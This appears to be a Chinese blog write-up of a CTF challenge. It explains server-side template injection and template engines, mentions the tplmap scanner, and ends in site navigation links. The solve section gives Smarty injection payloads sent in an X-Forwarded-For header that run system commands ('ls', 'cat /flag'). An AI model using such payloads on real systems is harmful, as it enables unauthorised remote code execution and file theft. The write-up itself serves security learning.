0x00 知识点

SSTI模板注入:

之前也写过:

https://www.cnblogs.com/wangtanzhi/p/12238779.html

SSTI模板注入:

模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程

服务端把用户输入的内容渲染成模板就可能造成SSTI(Server-Side Template Injection)

模板引擎

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig



模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。与此同时,它也扩展了黑客的攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。

模板渲染

首先 模板渲染分解为前端渲染和后端渲染,还有浏览器渲染。

模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

服务端模版注入

服务器执行了我们传过去的数据。每当服务器用模板引擎解析用户的输入时,这类问题都有可能发生。除了常规的输入外,攻击者还可以通过 LFI(文件包含)触发它。模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎解析。

这里模板注入前加“服务端”,这是为了和 jQuery,KnockoutJS 产生的客户端模板注入区别开来。通常的来讲,前者甚至可以让攻击者执行任意代码,而后者只能 XSS。

模板引擎注入

一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig,模板注入是一种注入攻击,可以产生一些特别有趣的影响。对于AngularJS的情况,这可能意味着XSS,并且在服务器端注入的情况下可能意味着远程代码执行。重点来了,不同引擎有不同的测试以及注入方式!

flask/jinja2模板注入

PHP/模版引擎Twig注入

tplmap

利用tplmap这个工具进行检测是否有模板注入漏洞,用法有点像sqlmap,都是基于python的。

0x01解题

提示ip自然想到XFF,试了一下真可控:

smarty模板注入payload:

X-Forwarded-For: {{system("ls")}}
X-Forwarded-For: {{system("cat /flag")}}

最新文章

  1. Duilib源码分析(四)绘制管理器—CPaintManagerUI—(前期准备二)
  2. 搭建一个分布式MongoDB鉴权集群
  3. Python xlrd、xlwt、xlutils修改Excel文件
  4. StaticPagedList
  5. Nginx针对https站点的部署
  6. My Game --背景
  7. <初级程序员> git 的初级使用
  8. asp.net 在线人数统计\页面访问量
  9. Hive从概念到安装使用总结
  10. 取得正在运行的Activity
  11. C#)Windows Shell 编程系列5 - 获取图标
  12. Silverlight的DataGrid合并单元格
  13. 2719:陶陶摘苹果-poj
  14. 用Docker解决坑爹的环境搭建系列——mysql:5.6
  15. 前端性能优化之gzip
  16. python web cgi
  17. ionic android返回键
  18. IntelliJ IDEA 安装 Scala 插件
  19. Oracle之SQL语句性能优化(34条优化方法)
  20. 基于 Quartz.NET 实现可中断的任务

热门文章

  1. 第3节 storm高级应用:1、上次课程回顾,今日课程大纲,storm下载地址、运行过程等
  2. 转:Nginx 性能优化有这篇就够了!
  3. GoJS 友情链接
  4. 【拒绝挂分】盘点蒟蒻ghy的各种sb错误
  5. python 阶乘函数
  6. idea2019 jsp页面加载不到静态文件原因No mapping found for HTTP request with URI
  7. 【LOJ2542】「PKUWC2018」随机游走
  8. NO29 用户提权sudo配置文件详解实践--志行为审计
  9. 从植发AI看智能手术机器人的国产化之路
  10. sql语句中 and 与or 的优先级